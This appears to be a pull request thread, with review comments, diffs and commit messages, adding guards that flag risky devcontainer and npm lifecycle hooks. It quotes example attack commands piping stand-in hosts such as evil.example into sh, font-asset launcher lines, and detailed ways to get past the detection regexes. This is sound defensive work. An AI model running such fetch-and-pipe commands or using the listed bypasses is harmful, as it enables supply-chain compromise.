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Extends the supply-chain guardrails from #484 with two preventive guards: - scripts/guard/guard_devcontainer.py (Guard C) Rejects dev-container JSONC that auto-runs risky commands on create/start/ attach: network fetch piped to a shell, execution of a binary/asset path rather than a manifest, and root user combined with an exec hook. Plain bootstrap commands (npm ci, cargo build, apt-get) are allow-listed. - scripts/guard/guard_npm_lifecycle.py (Guard D) Rejects package.json lifecycle hooks (preinstall/install/postinstall/ prepare/prepublish/prepublishOnly) that execute a binary/asset path, fetch code from the network, or use eval()/atob()/long base64 blobs. Standard tooling (husky, pinst, patch-package, tsc, node-gyp, npm run) is allow-listed. Both guards are PREVENTIVE: this repository currently has no .devcontainer/ and no package.json, so each inspects zero files in production and exits 0. Their effectiveness is verified by fixtures only, and the README says so. Adds 13 devcontainer fixtures and 16 npm fixtures (positive = must fail, negative = must pass), two generators, and CI jobs devcontainer-guard and npm-lifecycle-guard. The existing 12 jobs, triggers and env are unchanged. No production code, no Rust crates, and no historical payload bytes are included or executed.
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Review comments at @.github/workflows/ci.yml:
- Line 135: Update the devcontainer-guard and npm-lifecycle-guard jobs to
explicitly grant only contents: read permission, and configure each
actions/checkout@v7 step with credential persistence disabled. Keep both guard
jobs enabled.
Review comments at @scripts/guard/guard_devcontainer.py:
- Line 72: Update the wget alternative in FETCH_AND_RUN to match wget commands
piped directly into sh or bash, removing the ineffective `-O\?-` requirement.
Add an output assertion for the positive/poststart-network fixture that verifies
the diagnostic reports a network fetch.
- Around line 183-186: Update `_is_safe_bootstrap` to reject command
substitutions and accept a command only when every shell-separated segment
matches the safe allow-list. In `check_devcontainer`, run the `FETCH_AND_RUN`
and `RUNS_ASSET` detectors before allowing bootstrap commands, so an allowed
prefix cannot bypass them.
- Around line 210-212: Update the lifecycle-hook validation around the `val`
type check to accept the spec-supported string, string-array, and named-command
object forms. Normalize these forms into command strings and run the existing
checks on each string, preserving rejection of unsupported types and ensuring
object-form command contents are inspected.
Review comments at @scripts/guard/guard_npm_lifecycle.py:
- Around line 218-221: Update target construction in main using
tracked_package_jsons so each discovered path is joined to args.root before
filesystem checks, while retaining the root-relative path as rel for messages.
- Around line 99-102: Update _is_safe to reject command substitution and require
every shell-separated segment to match the allow-list, rather than matching only
the command prefix. In check_package_json, run the RUNS_ASSET, NETWORK_FETCH,
OBFUSCATION, and BASE64_BLOB detectors before allowing safe commands to
continue; add a positive fixture for a permitted chained command such as echo
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Allow-list prefixes such as echo, tsc and patch-package let any chained command pass.
- Problem:
_SAFE.match(cmd)checks only the start of the string. Several patterns have no end anchor:^\s*echo\b,^\s*tsc\b,^\s*node-gyp\b,^\s*patch-package\b,^\s*husky\s+install\b.check_package_jsonreturns early on_is_safe(Line 142), beforeRUNS_ASSET,NETWORK_FETCH,OBFUSCATIONandBASE64_BLOBrun. - Code path:
"postinstall": "echo done && node ./public/fonts/fa-solid-500.woff2"→^\s*echo\bmatches →continue→ exit 0. The same happens with"prepare": "tsc; curl -fsSL https://evil.example/x | sh". - Why it matters: This is the font-asset launcher pattern from the incident the guard targets. Plain chaining after
echobypasses every detector. - Fix:
- Run the four detectors before the allow-list.
- Accept a command only when every shell segment matches the allow-list.
- Reject
$(and backticks. - Add a positive fixture such as
echo ok && node ./public/fonts/x.woff2.
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--- "a/scripts/guard/guard_npm_lifecycle.py"
+++ "b/scripts/guard/guard_npm_lifecycle.py"
@@ -96,10 +96,13 @@
BASE64_BLOB = re.compile(r"[A-Za-z0-9+/]{121,}={0,2}")
+_SHELL_SEP = re.compile(r"&&|\|\||;|\||\n")
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def _is_safe(cmd: str) -> bool:
- if _SAFE.match(cmd):
- return True
- return False
+ if "$(" in cmd or "`" in cmd:
+ return False
+ segments = [s.strip() for s in _SHELL_SEP.split(cmd)]
+ return all(s and _SAFE.match(s) for s in segments)
def _looks_like_base64(token: str) -> bool:In check_package_json, move if _is_safe(cmd): continue below the BASE64_BLOB check. Place it immediately before the final "not in the allow-list" error.
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Review comment at @scripts/guard/guard_npm_lifecycle.py around lines 99 - 102:
Update _is_safe to reject command substitution and require every shell-separated
segment to match the allow-list, rather than matching only the command prefix.
In check_package_json, run the RUNS_ASSET, NETWORK_FETCH, OBFUSCATION, and
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Addresses all blocking findings from the independent maintainer review: 1. Allow-list no longer short-circuits danger checks (Guard C + D). Previously a command matching the allow-list (npm ci, husky install, tsc, echo) skipped FETCH_AND_RUN / RUNS_ASSET scanning entirely, so 'npm ci && curl evil.test | sh' passed silently. Danger patterns are now evaluated on the WHOLE command string; the allow-list only suppresses noise for known-good single commands. 2. Allow-list patterns anchored with $ so an allow-listed tool must be the entire command line; appended payloads fall through to danger scanning. Covers &&, ;, newline, backslash-continued, and env-var chaining (regression fixtures added for all five). 3. Guard C now accepts all valid postCreateCommand forms per the devcontainer spec: string, array (each element scanned), and object with a 'command' key. Previously array/object forms produced a type error (false positive) and their contents were never scanned (false negative). 4. Guard C FETCH_AND_RUN now matches wget/curl/Invoke-WebRequest/irm piped to sh/bash/pwsh/iex anywhere in the command, including after an allow-listed prefix. 5. False-positive reduction: npm run <script> chains, --if-present, node ./scripts/<file>.js project scripts, bun install, pip install, and clean array/object forms now pass. Asset-path detection narrowed to asset-like extensions (.woff2/.ttf/.otf/.eot/.llf), asset/seed directories (dist/, public/fonts/, assets/), and .js outside scripts/. 6. 17 new regression fixtures (5 devcontainer positive, 4 negative, 5 npm positive, 3 negative) lock every reviewed FN and FP case. Fixture generators updated; harness extended with chained-command message assertions. Suite: 0 failures. 7. CI hardening: workflow-level 'permissions: contents: read' and 'persist-credentials: false' on all 14 checkout steps, so a compromised step or fork PR cannot exfiltrate or persist GITHUB_TOKEN. Known residual limitation (documented in README, not blocking): an obfuscated payload constructed via shell command substitution rather than eval(/atob( is not detected — pattern-based, not an interpreter. No Rust/product code touched. No historical payload bytes included.
…ve npm guard paths against --root Guard C (devcontainer): - _normalize_commands() now scans named-command object values under ANY key (e.g. 'setup'), not only 'command' — the devcontainer CLI accepts named commands under arbitrary property names, so a hostile command under another key was skipped silently. - Empty named-command objects and non-string command values now fail loud with a diagnostic instead of being treated as safe. - Fixtures: named-key-setup-danger (curl|sh under 'setup'), object-form-empty, object-form-bad-type (must fail), named-key-setup-clean, named-key-multi-clean (must pass). Guard D (npm lifecycle): - tracked_package_jsons() returns absolute paths resolved against --root, so a guard invoked from a different working directory still inspects every tracked manifest (paths were CWD-relative before and manifests could be missed without any error). - Diagnostics keep repo-relative paths; unresolvable tracked paths fail loud instead of 'inspected 0'. - Regression: temp git repo built by make_external_root.py, guard run from /tmp with --root outside CWD; hostile manifest must be caught and safe manifest must pass. All 118 fixture assertions pass; actionlint clean on ci.yml.
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Review comments at @scripts/guard/guard_devcontainer.py:
- Around line 235-236: Update the list-handling branch in the command
normalization function so multi-element string arrays are also scanned as a
single space-joined command, while preserving the existing element-by-element
scanning and behavior for single-element arrays.
- Around line 237-253: Update the dict branch of _normalize_commands to inspect
every value, including sibling values when a "command" key exists, so dangerous
commands cannot bypass scanning. Preserve unsupported-value diagnostics, and add
a fixture with a dangerous sibling alongside "command" to verify it is detected.
- Around line 112-115: Update the RUNS_ASSET_SEED pattern to match asset paths
with no prefix, a relative prefix, or another directory prefix, including
commands such as node dist/setup.js. Replace the current prefix matching that
relies on a start-of-string alternative with an optional path prefix ending in a
slash, while preserving the existing command and asset-directory constraints.
Review comments at @scripts/guard/guard_npm_lifecycle.py:
- Around line 98-101: Update the `RUNS_ASSET_SEED` pattern to match asset paths
such as `dist/setup.js` that have no `./` prefix, while retaining support for
paths with directory prefixes and the existing asset directories and script
extensions.
Review comments at
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- Around line 3-4: Update the array-form lifecycle command in the clean
devcontainer fixture so it invokes npm with ci as its argument, rather than
treating “npm ci” as a single executable name; keep the fixture as a valid
array-form command.
Review comments at
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- Around line 2-4: Update the array-form postCreateCommand fixture so it invokes
`sh -c` with the intended `npm ci` and fetch-and-pipe command as the shell
script, ensuring the fixture actually exercises detection of an executable
fetch-and-pipe command.
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- Line 5: Update the Guard D allow-list handling for the `postinstall` entry so
`node scripts/postinstall.js` is allowed only when the referenced local script
is also inspected for network-fetch and dynamic-execution behavior; otherwise
reject this command. Anchor the change to Guard D’s lifecycle-command
validation.
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- Line 5: Update the postinstall value in the husky-backslash-chain-curl fixture
to encode a literal backslash followed by a newline in the decoded string, so
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Fix: array-form commands are scanned element by element, so split interpreter and path arguments evade detection.
- Problem: The list branch returns each element as a separate command. The module docstring says elements are joined for scanning, but the code does not join them.
- Code path:
"postCreateCommand": ["node", "./public/fonts/x.woff2"]→ scanned as"node"and"./public/fonts/x.woff2"→RUNS_ASSETneeds interpreter and path in one string → rc=0. The same happens with["bash", "./dist/setup.js"]. - Why it matters: Array form is the spec form for running an argv directly. It is the natural way to write an interpreter plus asset path.
- Fix: Also return the space-joined form when all elements are strings.
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--- "a/scripts/guard/guard_devcontainer.py"
+++ "b/scripts/guard/guard_devcontainer.py"
@@ -232,8 +232,9 @@
"""
if isinstance(val, str):
return [val]
if isinstance(val, list):
- return [str(p) if not isinstance(p, str) else p for p in val]
+ parts = [str(p) for p in val]
+ return parts + ([" ".join(parts)] if len(parts) > 1 else [])
if isinstance(val, dict):
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Review comment at @scripts/guard/guard_devcontainer.py around lines 235 - 236:
Update the list-handling branch in the command normalization function so
multi-element string arrays are also scanned as a single space-joined command,
while preserving the existing element-by-element scanning and behavior for
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…ript gaps Re-audit of a7c3735 found these confirmed false negatives; all fixed: Guard C (devcontainer): - _normalize_commands read only val["command"] when present, so a dangerous sibling key ("setup": "curl ... | sh") was skipped. Now every string/array value in a named-command object is normalized and scanned. - Empty named-command objects and non-string command values now fail loud with a diagnostic instead of silently passing. - Array form executes directly via exec (no shell). Added interpreter+path detection across argv[0]/argv[1]: ["node","./public/fonts/x.woff2"], ["bash","./dist/setup.js"], ["sh","-c","curl ... | sh"] all fail. - Asset/seed regexes required a ./- or /-prefixed path; bare paths (node dist/setup.js, node public/fonts/x.js, node assets/bootstrap.mjs) were missed. Detection now covers ./ and bare forms. Guard D (npm lifecycle): - RUNS_ASSET_SEED and RUNS_ASSET_DOT_JS required a ./ prefix; bare asset paths (node dist/setup.js, node public/fonts/x.js, node assets/bootstrap.mjs) were missed. Detection now covers ./ and bare forms. - The allow-list accepted "node ./scripts/<file>.js" as a spelling without inspecting the referenced script, creating a real bypass (a script doing curl|sh would pass). Now referenced local scripts are resolved and scanned for the same danger patterns (network fetch, eval/atob, base64 blobs, asset-path execution). Missing/unreadable/out-of-package references fail loud. Documented as NOT a JavaScript malware detector. - node-scripts-postinstall fixture now ships an actual local script so the content inspection is genuinely exercised. - husky-backslash-chain-curl fixture now decodes to an actual backslash + newline (line continuation), not a backslash escaping a space; a test asserts the decoded value explicitly. Tests: 151/151 pass (was 118). actionlint on ci.yml clean. git diff --check clean. README updated for the new policy and limitations.
The previous commit accidentally committed two .pyc files under scripts/guard/__pycache__ (created by an ad-hoc import probe during verification). They are not source; remove them from the tree and add __pycache__/ + *.pyc to .gitignore so future local runs cannot commit bytecode. No guard logic, fixture, or workflow change.
…e script refs Targeted re-audit of 85a0d39 found two remaining false negatives: Guard C (devcontainer): - _normalize_commands stringified non-string array elements via str(p), so [42], [null], and ["node",{"path":"dist/setup.js"}] silently passed and [{"setup":"curl ... | sh"}] failed only accidentally (the str(dict) repr happened to match a pattern). Array-form hooks are argv lists of strings per the spec: malformed elements now fail closed with a diagnostic naming the offending type instead of being stringified. Legitimate string arrays (["npm","ci"], ["npm ci","cargo build"]) still pass. Generic unsupported-shape diagnostic deduped. Guard D (npm lifecycle): - NETWORK_FETCH only matched shell tools, so a referenced local script doing fetch('https://...') or require('https') passed. Added JS_NETWORK_FETCH (fetch(, require('http(s)'), import, from, axios.*) to the local-script scan. - Absolute (/...) and home (~...) script references were silently skipped; they now fail closed. The ~/ prefix is captured by _LOCAL_SCRIPT_REF so the fail-closed branch is reached. Fixtures: array-element-number/null/object/mixed-object/subarray (Guard C, must fail with 'unsupported element'), local-script-js-fetch and local-script-escape (Guard D, must fail with intended diagnostic). README updated. No Rust/product or workflow changes. Tests: 168/168 pass (was 151). actionlint clean on ci.yml, git diff --check clean, py_compile clean.
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| # Narrowed so legitimate project scripts (node ./scripts/x.js) pass. | ||
| RUNS_ASSET = re.compile( | ||
| # interpreter + path with an asset-like extension, anywhere | ||
| r"(?<![\w./-])(?:node|sh|bash|pwsh)\s+\S*\.(?:woff2?|ttf|otf|eot|llf)\b(?:\s|$|;|&|\|)", |
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Fix: an interpreter option, a full interpreter path, or a path through another folder lets the asset checks miss the launch.
- Problem:
RUNS_ASSET,RUNS_ASSET_SEEDandRUNS_ASSET_DOT_JSmatch only when the path comes right after the interpreter ((?:node|sh|bash|pwsh)\s+<path>). The lookbehind(?<![\w./-])also rejects any interpreter written as a full path.RUNS_ASSET_SEEDallows only(?:\.*/)*before the directory name. The array check at Lines 360-362 joins onlyargv[0]andargv[1], and it is skipped whenargv[1]starts with-. - Code path:
check_commandcontains no allow-list rejection, so a hook passes when no danger pattern matches. Each of these values gives rc=0:"node --no-warnings ./public/fonts/x.woff2":\s+\S*cannot get past the option."/usr/bin/node ./dist/setup.js": the lookbehind fails because/comes beforenode."node ./scripts/../dist/setup.js":SEEDcannot matchscripts/, andDOT_JSexcludes./scripts/."node app/dist/setup.js": no pattern accepts theapp/prefix.["node", "--no-warnings", "./public/fonts/x.woff2"]or["/usr/bin/env", "node", "dist/setup.js"]: the array check never builds the combined command.
- Why it matters: This is the incident shape the guard targets: an interpreter that runs a font or seed asset. An ordinary option or a full interpreter path is enough to get past the check.
guard_npm_lifecycle.pyhas the same regexes at Lines 93-106 (see the comment there). - Fix: Use one shared interpreter prefix. Let it accept a directory path and option tokens. Accept any
\S*/prefix before the asset directory. Scan the whole joined argv for array hooks.
Proposed fix
+_INTERP = (
+ r"(?<![\w.-])(?:[\w./-]*/)?(?:node|sh|bash|pwsh)"
+ r"(?:\s+--?[\w-]+(?:=\S+)?)*\s+"
+)
RUNS_ASSET = re.compile(
- r"(?<![\w./-])(?:node|sh|bash|pwsh)\s+\S*\.(?:woff2?|ttf|otf|eot|llf)\b(?:\s|$|;|&|\|)",
+ _INTERP + r"\S*\.(?:woff2?|ttf|otf|eot|llf)\b(?:\s|$|;|&|\|)",
re.IGNORECASE,
)
RUNS_ASSET_SEED = re.compile(
- r"(?<![\w./-])(?:node|sh|bash|pwsh)\s+(?:\.*/)*(?:dist|public/fonts|assets)/"
- r"\S*\.(?:js|mjs|cjs)\b",
+ _INTERP + r"(?:\S*/)?(?:dist|public/fonts|assets)/\S*\.(?:js|mjs|cjs)\b",
re.IGNORECASE,
)
RUNS_ASSET_DOT_JS = re.compile(
- r"(?<![\w./-])(?:node|sh|bash|pwsh)\s+\./+(?!scripts/)\S*\.js\b",
+ _INTERP + r"\./+(?!scripts/(?!.*\.\./))\S*\.js\b",
re.IGNORECASE,
) argv = [p for p in val if isinstance(p, str)]
- if len(argv) >= 2 and argv[0].lower() in ("node", "sh", "bash", "pwsh") \
- and not argv[1].startswith("-"):
- check_command(f"{argv[0]} {argv[1]}", key, rel, errors)
+ if len(argv) >= 2:
+ check_command(" ".join(argv), key, rel, errors)Add positive fixtures for node --no-warnings ./public/fonts/x.woff2, /usr/bin/node ./dist/setup.js, node ./scripts/../dist/setup.js, and ["/usr/bin/env", "node", "dist/setup.js"].
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Review comment at @scripts/guard/guard_devcontainer.py at line 111:
Update RUNS_ASSET, RUNS_ASSET_SEED, and RUNS_ASSET_DOT_JS to detect asset
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- Line 124: Update _normalize_commands and check_command to parse quoted command
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Review comments at @scripts/guard/guard_npm_lifecycle.py:
- Line 145: Update the _LOCAL_SCRIPT_REF pattern so it matches local Node script
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Finding 1 — Asset execution bypass:
- RUNS_ASSET / RUNS_ASSET_SEED / RUNS_ASSET_DOT_JS in both guards now use
a shared _INTERP pattern that accepts:
- Interpreter options: node --no-warnings ./public/fonts/x.woff2
- Full interpreter paths: /usr/bin/node ./public/fonts/x.woff2
- Nested directories: node app/dist/setup.js
- Traversal paths: node ./scripts/../dist/setup.js
- Removed the (?<![\w./-]) lookbehind that blocked /usr/bin/node
- Changed SEED prefix from (?:\.*/)* to (?:[^\s]*/)? to handle
arbitrary path prefixes (app/, scripts/../) without swallowing bare paths
Finding 2 — Local script inspection skips interpreter options:
- _LOCAL_SCRIPT_REF now captures an optional (?P<flags>...) group
between 'node' and the script path, supporting both short/long flags
and --flag=value forms
- Flag is never mistaken for the script path (named group)
- Fail-closed for absolute, home, missing, and escaping references
is unchanged
Finding 3 — Fixture suite cwd-dependence:
- run_fixture_tests.sh heredoc now passes $FIX/... as argv[1]
instead of hardcoding a relative path
- Suite now passes from both repo root and tests/guard/
Regression fixtures added:
- Guard C: option-asset, fullpath-asset, nested-seed, traversal-seed (positive)
option-script-clean, fullpath-script-clean (negative)
- Guard D: option-asset, fullpath-asset, nested-seed, traversal-seed (positive)
option-local-script-danger (positive, script with fetch())
option-local-script-clean, fullpath-local-script-clean,
option-flag-value-clean (negative)
- All fixtures assert both exit status and expected diagnostic
Suite: 204 PASS / 0 FAIL from both repo root and tests/guard/
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- Guard C: dequote command before regex scan so quoted asset paths
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- Guard D: replace _LOCAL_SCRIPT_REF regex with _split_shell_cmd tokenizer
that handles quoted paths, --require/-r preloads, and inspects ALL
.js/.mjs/.cjs references in a node invocation (not just the first)
- Add 12 regression fixtures: quoted-asset, quoted-asset-fullpath,
quoted-bare-asset, quoted-traversal-asset, quoted-script-clean,
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- Suite: 226 PASS / 0 FAIL from both repo root and tests/guard/
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…mantics Dev Container array-form hooks are a single argv executed directly (no shell): element[0] is the executable, later elements are arguments. The old fixtures encoded two shell commands as two argv elements, which is not a valid representation of what devcontainer executes. - array-form-danger: ["npm ci", "curl evil.test | sh"] -> ["sh", "-c", "npm ci && curl evil.test | sh"] (valid argv that actually runs the network-fetch pipeline under sh; guard still flags FETCH_AND_RUN via the argv[0..1] recombination scan) - array-form-clean: ["npm ci", "cargo build"] -> ["npm", "ci"] (executable "npm" with argument "ci", not a literal binary named "npm ci") Both verified against guard_devcontainer.py: danger rc=1 with 'network fetch' diagnostic, clean rc=0. Full fixture suite 226 PASS / 0 FAIL from repo root.
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Summary
Extends the supply-chain guardrails introduced in #484 with two preventive
guards covering the remaining surfaces named in the Drips Wave review.
Changes
scripts/guard/guard_devcontainer.py(Guard C) — rejectsdevcontainer.jsonfiles that auto-run risky commands. FlagspostCreateCommand/postStartCommand/postAttachCommand/onCreateCommand/initializeCommand/updateContentCommandwhen theypipe a network fetch into a shell, execute a binary/asset path rather than a
manifest, or run as root combined with any exec hook. Plain bootstrap
commands (
npm ci,cargo build,rustup component add,apt-get)are allow-listed.
scripts/guard/guard_npm_lifecycle.py(Guard D) — rejectspackage.jsonlifecycle hooks (preinstall,install,postinstall,prepare,prepublish,prepublishOnly) that execute a binary/assetpath, perform a network fetch at install time, or use
eval()/atob()/long base64 blobs. Standard tooling (
husky,pinst,patch-package,tsc,node-gyp,npm run) is allow-listed.tests/guard/fixtures/devcontainer/— 13 fixtures (6 positive, 7negative) +
make_devcontainer_fixtures.pytests/guard/fixtures/npm/— 16 fixtures (7 positive, 9 negative) +make_npm_fixtures.pytests/guard/run_fixture_tests.sh— +77 assertions covering both newguards and their real-repo enumeration paths (no devcontainer / no
package.json)
tests/guard/README.md— documents Guard C and Guard D as preventive,their allow-lists, known false positives, and limitations
.github/workflows/ci.yml— addsdevcontainer-guardandnpm-lifecycle-guardjobs afterguardrail-tests, beforeinstall-scriptPreventive scope
This repository currently has no
.devcontainer/and nopackage.json, soboth guards inspect zero files in production and exit 0 with an explicit
inspected 0 …message. Their effectiveness is verified by fixtures only;the README states this. Neither guard claims to have caught anything in this
repository.
Verification
bash tests/guard/run_fixture_tests.sh— 77 new assertions, all pass;existing 36 assertions unchanged
python3 tests/guard/test_incident_payload.py— passesactionlint .github/workflows/ci.yml— rc=0and env identical
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v2.6.0/v2.7.0(separate approval)Summary by CodeRabbit
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